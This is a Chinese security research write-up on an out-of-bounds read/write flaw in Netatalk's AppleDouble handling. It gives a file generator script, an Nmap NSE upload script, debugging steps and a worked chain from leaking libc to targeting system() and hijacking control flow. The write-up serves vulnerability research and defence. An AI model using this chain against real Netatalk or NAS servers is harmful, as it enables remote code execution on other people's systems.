声明:本篇文章由 可可@QAX CERT 原创,仅用于技术研究,不恰当使用会造成危害,严禁违法使用 ,否则后果自负。
Netatalk 是一个 Apple Filing Protocol (AFP)
的开源实现。它为 Unix 风格系统提供了与 Macintosh 文件共享的功能。多款NAS产品均有集成该功能。
二、漏洞简介
Netatalk在处理FPOpenFork
命令的时候,由于未检查AppleDouble文件头中的偏移是否超出范围,导致攻击者可以通过控制AppleDouble文件的某些偏移,在内存中进行越界读写,通过该漏洞攻击者可以启动Netatalk的用户权限执行任意命令。
三、Appledouble文件
Appledouble文件格式文档可在下面链接下载,AppleDouble文件是mac上一种存储数据的格式,AppleDouble文件可分为文件头和数据部分,文件头格式如下,对于每个Entry来说,数据在文件内的范围可表示为:[offset:offset+length]
Field Length
Magic number 4 bytes
Version number 4 bytes
Filler 16 bytes
Number of entries 2 bytes
Entry descriptor for each entry:
Entry ID 4 bytes
Offset 4 bytes
Length 4 bytes
以下是一个有效的Appledouble文件,包含两个entry
entry 1
-
entry ID:0x09
-
offset:0x32
-
length:0x71
entry 2
-
entry ID:0x02
-
offset:0xA3
-
length:0x46
https://web.archive.org/web/20180311140826if_/http://kaiser-edv.de/documents/AppleSingle_AppleDouble.pdf
四、如何生成有效的AppleDouble文件触发漏洞
在https://nosec.org/home/detail/4997.html 中keeee师傅分享了如何通过xattr库生成appledouble文件,这里为了方便生成所需文件对keeee师傅的方法进行魔改。
首先安装 xattr-file和minimist库:
npm install xattr-file
npm install minimist
在node_modules目录内找到xattr-file.js文件,修改creat方法,为其添加接受各种偏移的接口,大致如下:
function create(attrs, resoLength, findoff, findlen, forkoff, forklen) {
......
var finderInfoOffset = findoff == -1 ? applLength : findoff
var finderInfoLength = findlen == -1 ? (attrLength + keysLength + dataLength) : findlen
var resourceForkOffset = forkoff == -1 ? fileLength : forkoff
var resourceForkLength = forklen == -1 ? resoLength : forklen
生成xattr文件的nodejs脚本:
var xattr = require("xattr-file");
const args = require('minimist')(process.argv.slice(2))
const fs = require('fs')
var fp = './'
var origname = 'read'
// resource fork data 部分:
var buffer2 = Buffer.from("a".repeat(0x12))
var buffer3 = Buffer.from("a".repeat(0x34))
console.log(Buffer.concat([ buffer2, buffer3]).length) // 打印的 resource fork data 长度。
resoLength = Buffer.concat([buffer2, buffer3]).length
var findoff = args['findoff'] == undefined ? -1 : parseInt(args['findoff'])
var findlen = args['findlen'] == undefined ? -1 : parseInt(args['findlen'])
var forklen = args['forklen'] == undefined ? -1 : parseInt(args['forklen'])
var forkoff = args['forkoff'] == undefined ? -1 : parseInt(args['forkoff'])
// 如果name为空则为read
var name = args["name"] == undefined ? origname : args["name"]
console.log('findoff:' + findoff + " findlen:" + findlen + " forkoff:" + forkoff + " forklen:" + forklen)
var buffer = xattr.create({
"com.example.Attribute": "my data"
}, resoLength, findoff, findlen, forkoff, forklen);
var buffer4 = Buffer.concat([buffer, buffer2, buffer3])
fs.writeFile(fp + '._' + name, buffer4, { mode: 0o777 }, err => {
if (err) {
console.error(err)
return
} else {
console.log("success write file, file path: " + fp + '._' + name)
}
//文件写入成功。
}
)
fs.writeFile(fp + name, "hello world", { mode: 0o777 }, err => {
if (err) {
console.error(err)
return
} else {
console.log("success write file, file path: " + fp + name)
}
//文件写入成功。
}
)
fs.chmod(fp+ name, 0o777, () => {
console.log("change " + fp+ name + " mode")
})
fs.chmod(fp + '._' + name, 0o777, () => {
console.log("change " + fp + '._' + name + " mode")
})
如何将文件上传到服务器
生成文件后,为了更贴合实际漏洞利用场景,即生成有效AppleDouble文件后通过AFP客户端上传到AFP服务器,这里借鉴Nmap自带的afp的lua库,编写我们自己的上传NSE脚本。
在Nmap中原生包含了afp-ls的NSE脚本,其引用的lua库afp.lua内含有我们通过AFP协议上传文件需要的接口WriteFile,在上传文件的NSE脚本中调用该接口即可
在scripts目录下新建afp-upfile.nse文件,将afp-ls.nse内容粘贴进去,去掉列出文件逻辑的代码,之后编写lua代码,读取文件,将文件内容传给afp.lua内的WriteFile函数即可,最终如下:
......
action = function(host, port)
-- 这里和afp-ls的逻辑一样
local msg
local uploadpath = args["uploadpath"]
local filepath = args["filepath"]
local poc = io.open(filepath,"r")
local data = poc:read("*all")
poc:close()
status, msg = afpHelper:WriteFile(uploadpath, data)
status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession()
return data
end
return
end
利用该脚本,可以通过nmap上传文件到afp服务器
nmap -p 548 --script=afp-upfile --script-args "uploadpath=test/._cmd,filepath=./._cmd" ip
五、漏洞成因
libatalk/adouble/ad_open.c#parse_entries
函数为Nettatalk解析buf内的数据到自定义的结构体,通过读取buf内对应offset的数据到传入的ad指针指向的adouble
结构体的某些成员内,完成对相应值的设置,其中buf数据来自读取的._filename的文件。在循环中将buf首地址加上某个offset中的数据通过memcpy
函数拷贝到ad指向的adouble结构体变量内,在循环内含有一个if判断,当处于以下情况时,parse_entries
会返回-1并且打印警告日志
-
eid > ADEID_MAX,ADEID_MAX=20
-
off>sizeof(ad->ad_data)
-
eid不等于2并且此时的entry的偏移和数据长度相加大于1024
即通过控制文件内的数据,我们可以控制adouble结构体内的entry的off+len+buf超过buf的边界,正常流程中adouble结构体内的entry的off+len+buf不应该越过buf边界。
static int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)
{
uint32_t eid, len, off;
int ret = 0;
/* now, read in the entry bits */
for (; nentries > 0; nentries-- ) {
memcpy(&eid, buf, sizeof( eid ));
eid = get_eid(ntohl(eid));
buf += sizeof( eid );
memcpy(&off, buf, sizeof( off ));
off = ntohl( off );
buf += sizeof( off );
memcpy(&len, buf, sizeof( len ));
len = ntohl( len );
buf += sizeof( len );
ad->ad_eid[eid].ade_off = off;
ad->ad_eid[eid].ade_len = len;
if (!eid
|| eid > ADEID_MAX
|| off >= sizeof(ad->ad_data)
|| ((eid != ADEID_RFORK) && (off + len > sizeof(ad->ad_data)))) // ADEID_RFORK
{
ret = -1;
LOG(log_warning, logtype_ad, "parse_entries: bogus eid: %u, off: %u, len: %u",
(uint)eid, (uint)off, (uint)len);
}
}
return ret;
}
// adouble 定义
struct adouble {
......
char ad_data[AD_DATASZ_MAX]; //AD_DATASZ_MAX = 1024
};
在代码里,在以下几处函数中有调用parse_entries
函数
-
ad_header_read
-
ad_header_read_osx
-
ad_header_read_ea
在三处函数中,只有libatalk/adouble/ad_open.c#ad_header_read_osx
函数调用parse_entries
函数时,即使parse_entries
返回-1,该函数不会return
也不会进入异常处理流程,仅仅是通过日志记录,继续执行而不报错。
if (parse_entries(&adosx, buf, nentries) != 0) {
LOG(log_warning, logtype_ad, "ad_header_read(%s): malformed AppleDouble",
path ? fullpathname(path) : "");
}
之后ad_header_read_osx
会读取adouble
结构体内的偏移,判断finderinfo
的entry len
是否等于32,不等于则进入if内,并调用libatalk/adouble/ad_open.c#ad_convert_osx
函数
在ad_convert_osx
函数中会读取ad
指针指向的adouble
结构体内的entry结构的off和len偏移并调用memmove函数进行内存复制,此偏移恰好是parse_entries 函数从文件读取并赋值的偏移。
static int ad_convert_osx(const char *path, struct adouble *ad)
{
......
origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);
map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
if (map == MAP_FAILED) {
LOG(log_error, logtype_ad, "mmap AppleDouble: %sn", strerror(errno));
EC_FAIL;
}
memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
map + ad_getentryoff(ad, ADEID_RFORK),
ad_getentrylen(ad, ADEID_RFORK));
(void)ad_rebuild_adouble_header_osx(ad, map);
munmap(map, origlen);
六、分析函数调用链
通过doxygen+graphviz绘制函数调用链图(https://www.cnblogs.com/realjimmy/p/12892179.html),从图中可以看出完整的函数调用链为:ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries
而ad_open
函数所在的libatalk目录内的代码会被编译为libatalk.so
,最终被afpd
服务使用,在afpd
代码中,由etc/afpd/fork.c#afp_openfork
调用libatalk/adouble/ad_open.c#ad_open
函数。
int afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen)
{
.....
/* First ad_open(), opens data or ressource fork */
if (ad_open(ofork->of_ad, upath, adflags, 0666) < 0) {
.....
在libatalk/adouble/ad_open.c#ad_open
函数中,当请求内设置了ADFLAGS_RF
这个flag才会调用ad_open_rf
函数
if (adflags & ADFLAGS_RF) { // ADFLAGS_RF = 1<<1 = 2
if (ad_open_rf(path, adflags, mode, ad) != 0) {
EC_FAIL;
}
}
七、触发漏洞流程
想要触发该漏洞,必须要了解到afpd服务如何处理客户端请求,以便构造请求执行到漏洞代码处。
启动Netatalk的服务端afpd服务后,在afpd的main
函数入口处初始化一些变量、加载AFP配置、监听端口等。
int main(int ac, char **av)
{
struct sigactionsv;
sigset_t sigs;
int ret;
......
if (afp_config_parse(&obj, "afpd") != 0)
.....
obj.options.save_mask = umask(obj.options.umask);
......
while (1) {
.......
for (int i = 0; i < asev->used; i++) {
if (asev->fdset[i].revents & (POLLIN | POLLERR | POLLHUP | POLLNVAL)) {
switch (asev->data[i].fdtype) {
case LISTEN_FD:
if ((child = dsi_start(&obj, (DSI *)(asev->data[i].private), server_children))) {
if (!(asev_add_fd(asev, child->afpch_ipc_fd, IPC_FD, child))) {
.....
kill(child->afpch_pid, SIGKILL);
}
}
break;
......
}
之后进入while
循环,调用 etc/afpd/main.c#dsi_start
,dsi_start
调用dsi_getsession
,在dsi_getsession
中调用dsi->proto_open
函数指针,实际指向libatalk/dsi/dsi_tcp.c#dsi_tcp_open
static afp_child_t *dsi_start(AFPObj *obj, DSI *dsi, server_child_t *server_children)
{
afp_child_t *child = NULL;
if (dsi_getsession(dsi, server_children, obj->options.tickleval, &child) != 0) {
......
}
/* we've forked. */
if (child == NULL) {
configfree(obj, dsi);
afp_over_dsi(obj); /* start a session */
exit (0);
}
return child;
}
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
// 设置、初始化变量等操作,通过fork函数创建子进程
switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
......
}
dsi_tcp_open
函数接收来自客户端的连接,通过fork函数创建子进程
static pid_t dsi_tcp_open(DSI *dsi)
{
pid_t pid;
SOCKLEN_T len;
len = sizeof(dsi->client);
dsi->socket = accept(dsi->serversock, (struct sockaddr *) &dsi->client, &len);
......
if (0 == (pid = fork()) ) { /* child */
......
}
/* send back our pid */
return pid;
}
返回到dsi_getsession
函数中,当fork返回的pid为0时,即当前进程为子进程则跳出switch
结构,进入处理DSI数据的逻辑,当返回的pid不为0也不为-1时,即当前进程为父进程,则返回到dsi_start
函数。
int dsi_getsession(DSI *dsi, server_child_t *serv_children, int tickleval, afp_child_t **childp)
{
// 设置、初始化变量等操作
switch (pid = dsi->proto_open(dsi)) { /* in libatalk/dsi/dsi_tcp.c */
case -1:
......
case 0: // 如果是子进程则直接退出switch,进入处理DSI数据的逻辑
break;
default: //如果是父进程则返回到dsi_start函数
......
dsi->proto_close(dsi);
*childp = child;
return 0;
}
....
switch (dsi->header.dsi_command) { // 根据dsi命令执行不同动作
case DSIFUNC_STAT: /* send off status and return */
.....
case DSIFUNC_OPEN: /* setup session */
/* set up the tickle timer */
dsi->timer.it_interval.tv_sec = dsi->timer.it_value.tv_sec = tickleval;
dsi->timer.it_interval.tv_usec = dsi->timer.it_value.tv_usec = 0;
dsi_opensession(dsi);
*childp = NULL;
return 0;
default: /* just close */
LOG(log_info, logtype_dsi, "DSIUnknown %d", dsi->header.dsi_command);
dsi->proto_close(dsi);
exit(EXITERR_CLNT);
}
}
之后回到dsi_start
函数中,如果当前进程为父进程则返回到main
函数中的while
循环中,等待客户端的连接。如果当前进程为子进程则调用afp_over_dsi
函数处理AFP数据,根据不同的AFP命令调用全局变量afp_switch[]
内的不同函数指针进行处理
void afp_over_dsi(AFPObj *obj)
{
......
/* get stuck here until the end */
while (1) {
......
cmd = dsi_stream_receive(dsi);
......
switch(cmd) {
case DSIFUNC_CLOSE:
......
case DSIFUNC_TICKLE:
......
case DSIFUNC_CMD:
......
function = (u_char) dsi->commands[0];
/* send off an afp command. in a couple cases, we take advantage
* of the fact that we're a stream-based protocol. */
if (afp_switch[function]) {
dsi->datalen = DSI_DATASIZ;
dsi->flags |= DSI_RUNNING;
LOG(log_debug, logtype_afpd, "<== Start AFP command: %s", AfpNum2name(function));
AFP_AFPFUNC_START(function, (char *)AfpNum2name(function));
err = (*afp_switch[function])(obj,
(char *)dsi->commands, dsi->cmdlen,
(char *)&dsi->data, &dsi->datalen);
......
}
/* error */
afp_dsi_die(EXITERR_CLNT);
}
afp_switch
被preauth_switch
初始化,里面只有少量函数指针,而在postauth_switch
中含有大量函数指针,推测为经过身份验证后afp_switch
被postauth_switch
赋值
static AFPCmd preauth_switch[] = {
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,/* 0 - 7 */
NULL, NULL, NULL, NULL,
NULL, NULL, NULL, NULL,/* 8 - 15 */
NULL, NULL, afp_login, afp_logincont,
afp_logout, NULL, NULL, NULL,/* 16 - 23 */
.....
};
AFPCmd *afp_switch = preauth_switch;
AFPCmd postauth_switch[] = {
NULL, afp_bytelock, afp_closevol, afp_closedir,
afp_closefork, afp_copyfile, afp_createdir, afp_createfile,/* 0 - 7 */
afp_delete, afp_enumerate, afp_flush, afp_flushfork,
afp_null, afp_null, afp_getforkparams, afp_getsrvrinfo,/* 8 - 15 */
afp_getsrvrparms, afp_getvolparams, afp_login, afp_logincont,
afp_logout, afp_mapid, afp_mapname, afp_moveandrename,/* 16 - 23 */
afp_openvol, afp_opendir, afp_openfork, afp_read,
afp_rename, afp_setdirparams, afp_setfilparams, afp_setforkparams,
/* 24 - 31 */
afp_setvolparams, afp_write, afp_getfildirparams, afp_setfildirparams,
afp_changepw, afp_getuserinfo, afp_getsrvrmesg, afp_createid, /* 32 - 39 */
afp_deleteid, afp_resolveid, afp_exchangefiles, afp_catsearch,
afp_null, afp_null, afp_null, afp_null,/* 40 - 47 */
afp_opendt, afp_closedt, afp_null, afp_geticon,
afp_geticoninfo, afp_addappl, afp_rmvappl, afp_getappl,/* 48 - 55 */
afp_addcomment, afp_rmvcomment, afp_getcomment, NULL,
......
};
static int set_auth_switch(const AFPObj *obj, int expired)
{
......
afp_switch = postauth_switch;
在函数调用链中,afp_openfork
在afp_switch
的下标为26,同时26也可以在AFP数据包内看到:
调用总结
总结以上触发流程,触发到afp_openfork
函数需要AFP数据包内Command
字段值为26同时需要设置ADFLAGS_RF
这个flag
,触发漏洞链条为:afp_openfork->ad_open→ad_open_rf→ad_open_rf_ea→ad_header_read_osx→parse_entries
。
函数调用图如下:
如何发送FPOpenFork请求
前面说过在nmap中含有afp相关的脚本,在nmap自带的lua库afp.lua中含有读取文件相关的函数,调用之,最终nse脚本如下,需要注意的是,在FPOpenFork请求中必须设置ADFLAGS_RF
这个flag才会触发到漏洞函数逻辑,在nmap自带的afp.lua的ReadFile
函数中,该flag写死为0,需要修改为0x2,请求中的ADFLAGS_RF
才会被设置。
action = function(host, port)
-- 和afp-ls逻辑一样
local str_path = args["path"]
local content
status, content = afpHelper:ReadFile(str_path)
status, response = afpHelper:Logout()
status, response = afpHelper:CloseSession()
return content
end
return
end
文件内应该包含什么
在函数调用链中的ad_header_read_osx
函数中,有备注Read an ._ file, only uses the resofork, finderinfo is taken from EA
,该函数只会使用resofork
和finderinfo
这两种entry,所以在生成触发该漏洞的文件时只需要包含这两种entry即可。
八、环境搭建
这里使用Netatalk 3.1.11版本搭建
-
系统版本 Ubuntu 1804
-
内核版本
root@ubuntu:~/nettatalk/netatalk-3.1.11/build/sbin/genefile# uname -a
Linux ubuntu 5.13.0-40-generic #45~20.04.1-Ubuntu SMP Mon Apr 4 09:38:31 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux -
libc版本 libc-2.31.so
Netatalk编译
apt-get install -y libdb-dev libgcrypt-dev libcrack2-dev libgssapi-krb5-2 libgssapi3-heimdal libgssapi-perl libkrb5-dev libtdb-dev libevent-dev libdb-dev
wget https://versaweb.dl.sourceforge.net/project/netatalk/netatalk/3.1.11/netatalk-3.1.11.tar.bz2
tar -xjf netatalk-3.1.11.tar.bz2
cd netatalk-3.1.11.tar.bz2
mkdir build
export CFLAGS='-g -O0' # 保留调试符号,方便调试
./configure
--with-init-style=debian-systemd
--without-libevent
--without-tdb
--with-cracklib
--enable-krbV-uam
--enable-debug
--with-pam-confdir=/etc/pam.d
--with-dbus-daemon=/usr/bin/dbus-daemon
--with-dbus-sysconf-dir=/etc/dbus-1/system.d
--with-tracker-pkgconfig-version=1.0
--prefix=`pwd`/build
--bindir=`pwd`/build/bin
--sbindir=`pwd`/build/sbin
make
make install
Netatalk配置
mkdir /tmp/afp_tmp/
mkdir /tmp/afp_tmp/Public
mkdir /tmp/afp_tmp/test
echo test > /tmp/afp_tmp/test/test.txt
echo hello > /tmp/afp_tmp//Public/hello.txt
chmod 777 -R /tmp/afp_tmp/Public /tmp/afp_tmp/test
:
Global ]
uam list = uams_guest.so,uams_clrtxt.so,uams_dhx2.so
save password = no
unix charset = UTF8
use sendfile = yes
zeroconf = no
guest account = nobody
Public ]
path =/tmp/afp_tmp/Public
ea = auto
convert appledouble = no
stat vol = no
file perm = 777
directory perm = 777
veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'
rwlist = "admin","nobody","@allaccount"
valid users = "admin","nobody","@allaccount"
invalid users =
test ]
path = /tmp/afp_tmp/test
ea = auto
convert appledouble = no
stat vol = no
file perm = 777
directory perm = 777
veto files = '/Network Trash Folder/.!@#$recycle/.systemfile/lost+found/Nas_Prog/.!@$mmc/'
rwlist = "admin","nobody","@allaccount"
valid users = "admin","nobody","@allaccount"
invalid users =
参考:
https://nosec.org/home/detail/4997.html
九、调试
在AFPD中,由子进程负责处理AFP请求,父进程则循环接受客户端的请求,所以这里只需要调试子进程即可,为了方便调试,编写了如下脚本,至于为什么设置条件断点b ad_open.c:1894 if adflags & 2 != 0
在后文说明。
t.sh
gdb -x debug.gdb attach `ps -ef | grep afpd | grep -v grep | grep -v cnid |awk '{print $2}' | head -1`
debug.gdb
set follow-fork-mode child
set detach-on-fork off
set schedule-multiple on
b ad_open.c:1894 if adflags & 2 != 0
c
b ad_open.c:617
b ad_open.c:605
启动AFPD服务
./afpd -d -F /tmp/afp_tmp/afpd.conf
./cnid_metad -d -F /tmp/afp_tmp/afpd.conf
十、为什么要设置条件断点
将前面生成的appledouble文件通过nmap脚本上传到afp服务器,通过nmap脚本请求该文件触发该漏洞
如果断点没有设置if adflags & 2 != 0
这个条件则gdb会直接断在ad_open.c:1894
,此时请求内ADFLAGS_RF
值为0,不能进入漏洞逻辑,而由于断点,afp无法及时回复nmap数据包,nmap会报超时。
继续执行的话,afpd会收到SIGALRM
信号,无法进入漏洞逻辑
十一、正常调试
上传的._read文件到test目录:
触发漏洞,进入parse_entries
函数内,parse_entries
读取buf里面的数据到ad指向的adouble
结构体中。
最终adouble结构体内entry成员变量被设置为如下值,可以看出finderinfo entry内的off已经越界了:
而正常appledouble文件内,每个entry.ade_off+entry.ad_len
相加应该小于文件大小,在上图中第九个entry即finderinfo的entry.ade_off+entry.ad_len = A27 >文件大小,这个偏移也可以从文件内体现,此时finderinfo的off已越界,此时已经控制了adouble.entry.off
。
十二、如何利用entry内的越界
前面写到,parse_entries
函数可以将adouble结构体内的entry的off和len相加大于文件大小,如果某个地方读取了这个off和len并作为offset读写数据则可能产生越界读写。
继续看ad_header_read_osx调用parse_entries
之后的逻辑,在parse_entries
中如果程序发现off+len越界则会返回-1,如果ad指向的adouble结构体内的finderinfo entry
的ade_len
不等于32则进入if逻辑内,调用到ad_convert_osx
函数。
在ad_convert_osx
函数中,程序将appledouble文件映射到内存中,此时对文件映射的内存的读写即是对该文件的读写。ad_convert_osx
函数映射之后调用了memmove
和ad_rebuild_adouble_header_osx
函数,之后通过munmap
函数取消映射,将内存中的数据写入文件内。
mmap
的长度参数origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK)
即ad.ADEID_RFORK.off + ad.ADEID_RFORK.len
都为可控值
static int ad_convert_osx(const char *path, struct adouble *ad)
{
......
origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);
map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);
......
memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,
map + ad_getentryoff(ad, ADEID_RFORK),
ad_getentrylen(ad, ADEID_RFORK));
.
(void)ad_rebuild_adouble_header_osx(ad, map);
munmap(map, origlen);
......
}
long ad_getentryoff(const struct adouble *ad, int eid)
{
if (ad->ad_vers == AD_VERSION2)
return ad->ad_eid[eid].ade_off;
switch (eid) {
case ADEID_DFORK:
return 0;
case ADEID_RFORK:
return 0;
return ad->ad_eid[eid].ade_off;
default:
return ad->ad_eid[eid].ade_off;
}
/* deadc0de */
AFP_PANIC("What am I doing here?");
}
mmap
之后文件已映射到内存中,在经过多次测试后,当resource fork length + resource fork offset ≤1000
时会mmap分配的内存在ld.sodata段上面。
任意写
仔细看调用memmove
时的参数,map
为文件映射到内存的首地址,ad_getentryoff
为获取指定entry id的entry的off,ADEDLEN_FINDERI
为宏定义值为32=0x20
,而我们可以控制各个entry的off和len,通过该处调用,即我们可以从map + ad.ADEID_RFORK.off
处读取任意长度的数据写入到任何高于map+0x20
的内存(前提是该地址可写)也就是将文件中ad.ADEID_RFORK.off
处的数据写入该内存,而ad.ADEID_FINDERI.off
和ad.ADEID_RFORK.off
都为可控值,即可达到任意写。
memmove(map + ad.ADEID_FINDERI.off + 0x20,
map + ad.ADEID_RFORK.off,
ad.ADEID_RFORK.len);
任意读
任意读发生在任意写的后面的函数调用,在ad_rebuild_adouble_header_osx
函数中有如下语句,该语句将ad.ad_data+ad.ADEID_FINDERI.off
处开始长为0x20的数据写入到adbuf+ADEDOFF_FINDERI_OSX
中,ADEDOFF_FINDERI_OSX
为宏定义,展开后可得值为26+2*12=50=0x32
,而adbuf为mmap
映射后返回的内存地址,该处语句将数据写入到mmap
映射的内存偏移0x32
的位置。
int ad_rebuild_adouble_header_osx(struct adouble *ad, char *adbuf)
{
......
memcpy(adbuf + ADEDOFF_FINDERI_OSX, ad_entry(ad, ADEID_FINDERI), ADEDLEN_FINDERI);
在调用完ad_rebuild_adouble_header_osx
函数后,程序调用munmap
函数取消文件映射,内存内的数据会被写回到appledouble文件中,综合有:可以将ad.ad_data+ad.ADEID_FINDERI.off
处开始长为0x20的数据写入到文件偏移0x32处的地方,此时可以通过读取文件获取任意读的内存的内容。
组合利用
在内存中ad指向的结构体是存放在栈上的,分配的adouble结构体地址位于ad_header_read_osx
栈帧的rbp-0x620
处,可以用调试器测算和__libc_start_main_ret
的地址
gef➤ bt
#0 0x00007f624307220b in ad_header_read_osx (path=0x7f62430d6bc0 <pathbuf> "._read", ad=0x558ce325bba0, hst=0x7ffcf6e36990) at ad_open.c:698
#1 0x00007f6243074e50 in ad_open_rf_ea (path=0x558ce2e38f80 <upath> "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1488
#2 0x00007f62430750ae in ad_open_rf (path=0x558ce2e38f80 <upath> "read", adflags=0x283, mode=0x0, ad=0x558ce325bba0) at ad_open.c:1529
#3 0x00007f6243075d29 in ad_open (ad=0x558ce325bba0, path=0x558ce2e38f80 <upath> "read", adflags=0x283) at ad_open.c:1895
#4 0x0000558ce2e143bd in afp_openfork (obj=0x558ce2e4d920 <obj>, ibuf=0x7f6242b6c022 "uthent", ibuflen=0x12, rbuf=0x558ce3245b10 "", rbuflen=0x558ce3255b10) at fork.c:364
#5 0x0000558ce2df2c81 in afp_over_dsi (obj=0x558ce2e4d920 <obj>) at afp_dsi.c:627
#6 0x0000558ce2e193ff in dsi_start (obj=0x558ce2e4d920 <obj>, dsi=0x558ce3245420, server_children=0x558ce3242240) at main.c:474
#7 0x0000558ce2e19102 in main (ac=0x4, av=0x7ffcf6e36fc8) at main.c:417
gef➤ i frame 7
Stack frame at 0x7ffcf6e36ee0:
rip = 0x558ce2e19102 in main (main.c:417); saved rip = 0x7f6242e51083
caller of frame at 0x7ffcf6e36d80
source language c.
Arglist at 0x7ffcf6e36d78, args: ac=0x4, av=0x7ffcf6e36fc8
Locals at 0x7ffcf6e36d78, Previous frame's sp is 0x7ffcf6e36ee0
Saved registers:
rbp at 0x7ffcf6e36ed0, rip at 0x7ffcf6e36ed8
gef➤ p &adosx.ad_data
$11 = (char (*)[1024]) 0x7ffcf6e36522
gef➤ p 0x7ffcf6e36ed8 - 0x7ffcf6e36522
$12 = 0x9b6
任意读是读取ad.ad_data+ad.ADEID_FINDERI.off
处长为0x20
的数据,而ad.ad_data
距离__libc_start_main_ret
为0x9b6
,所以可以设置ad.ADEID_FINDERI.off
为0x9b6以获取__libc_start_main_ret
地址。利用脚本构造文件并利用NSE脚本上传到服务器
通过命令触发该漏洞、
__libc_start_main_ret
地址已经回显在文件内
验证地址:
在https://libc.rip 上验证libc版本:
通过__libc_start_main_ret
地址可以测算system
函数地址
gef➤ p 0x7f6242e51083 - 0x24083 + 0x52290
$14 = 0x7f6242e7f290
gef➤ p system
$15 = {int (const char *)} 0x7f6242e7f290 <__libc_system>
gef➤
至此,我们得到了system函数地址,那么如何利用这个地址呢?
Netatalk每次收到客户端请求都是fork子进程处理该请求,父进程继续监听socket,而fork的子进程内存空间和父进程内存空间的内容一样即libc库载入的地址不变,所以可以先发送请求通过任意读获取到system函数地址,第二次发送请求时,由于父进程不变所以system
函数地址不变,通过任意写的system
函数地址不变,才能达到命令执行的效果。
正是因为fork后,内存空间不变的机制才能利用任意读获取到system
函数地址,而后通过任意写覆盖函数指针达到命令执行的效果。
在Netatalk执行过程中,程序出错不会立即退出而是会捕获异常,通过任意写,写入了ld.so的数据段,触发错误,导致了如下崩溃:
gef➤ bt
#0 0x00007efeac84c59d in _dl_open (file=0x7efeac733eb9 "libgcc_s.so.1", mode=0x80000002, caller_dlopen=0x7efeac6acfb9 <init+25>, nsid=0xfffffffffffffffe, argc=0x4, argv=0x7ffd9f27a1e8, env=0x7ffd9f27a210) at dl-open.c:786
#1 0x00007efeac6df8c1 in do_dlopen (ptr=ptr@entry=0x7ffd9f277d60) at dl-libc.c:96
#2 0x00007efeac6e0928 in __GI__dl_catch_exception (exception=exception@entry=0x7ffd9f277d00, operate=operate@entry=0x7efeac6df880 <do_dlopen>, args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:208
#3 0x00007efeac6e09f3 in __GI__dl_catch_error (objname=objname@entry=0x7ffd9f277d50, errstring=errstring@entry=0x7ffd9f277d58, mallocedp=mallocedp@entry=0x7ffd9f277d4f, operate=operate@entry=0x7efeac6df880 <do_dlopen>, args=args@entry=0x7ffd9f277d60) at dl-error-skeleton.c:227
#4 0x00007efeac6df9f5 in dlerror_run (args=0x7ffd9f277d60, operate=0x7efeac6df880 <do_dlopen>) at dl-libc.c:46
#5 __GI___libc_dlopen_mode (name=name@entry=0x7efeac733eb9 "libgcc_s.so.1", mode=mode@entry=0x80000002) at dl-libc.c:195
#6 0x00007efeac6acfb9 in init () at backtrace.c:54
#7 0x00007efeac7834df in __pthread_once_slow (once_control=0x7efeac76fe68 <once>, init_routine=0x7efeac6acfa0 <init>) at pthread_once.c:116
#8 0x00007efeac6ad104 in __GI___backtrace (array=<optimized out>, size=<optimized out>) at backtrace.c:111
#9 0x00007efeac7ec7ff in netatalk_panic (why=0x7efeac818148 "internal error") at fault.c:93
#10 0x00007efeac7eca69 in fault_report (sig=0xb) at fault.c:127
#11 0x00007efeac7ecac3 in sig_fault (sig=0xb) at fault.c:147
#12 <signal handler called>
#13 __memmove_avx_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:238
#14 0x00007efeac7c10e2 in ad_rebuild_adouble_header_osx (ad=0x7ffd9f279540, adbuf=0x7efeac863000 "") at ad_flush.c:187
#15 0x00007efeac7c4d4c in ad_convert_osx (path=0x7efeac829bc0 <pathbuf> "._cmd", ad=0x7ffd9f279540) at ad_open.c:617
#16 0x00007efeac7c5379 in ad_header_read_osx (path=0x7efeac829bc0 <pathbuf> "._cmd", ad=0x55dcb6856780, hst=0x7ffd9f279bb0) at ad_open.c:713
#17 0x00007efeac7c7e50 in ad_open_rf_ea (path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1488
#18 0x00007efeac7c80ae in ad_open_rf (path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283, mode=0x0, ad=0x55dcb6856780) at ad_open.c:1529
#19 0x00007efeac7c8d29 in ad_open (ad=0x55dcb6856780, path=0x55dcb5a7ef80 <upath> "cmd", adflags=0x283) at ad_open.c:1895
#20 0x000055dcb5a5a3bd in afp_openfork (obj=0x55dcb5a93920 <obj>, ibuf=0x7efeac2bf021 "Authent", ibuflen=0x11, rbuf=0x55dcb6840b10 "", rbuflen=0x55dcb6850b10) at fork.c:364
#21 0x000055dcb5a38c81 in afp_over_dsi (obj=0x55dcb5a93920 <obj>) at afp_dsi.c:627
#22 0x000055dcb5a5f3ff in dsi_start (obj=0x55dcb5a93920 <obj>, dsi=0x55dcb6840420, server_children=0x55dcb683d240) at main.c:474
#23 0x000055dcb5a5f102 in main (ac=0x4, av=0x7ffd9f27a1e8) at main.c:417
可以看到,程序试图调用位于0x4141414141414000
处的函数
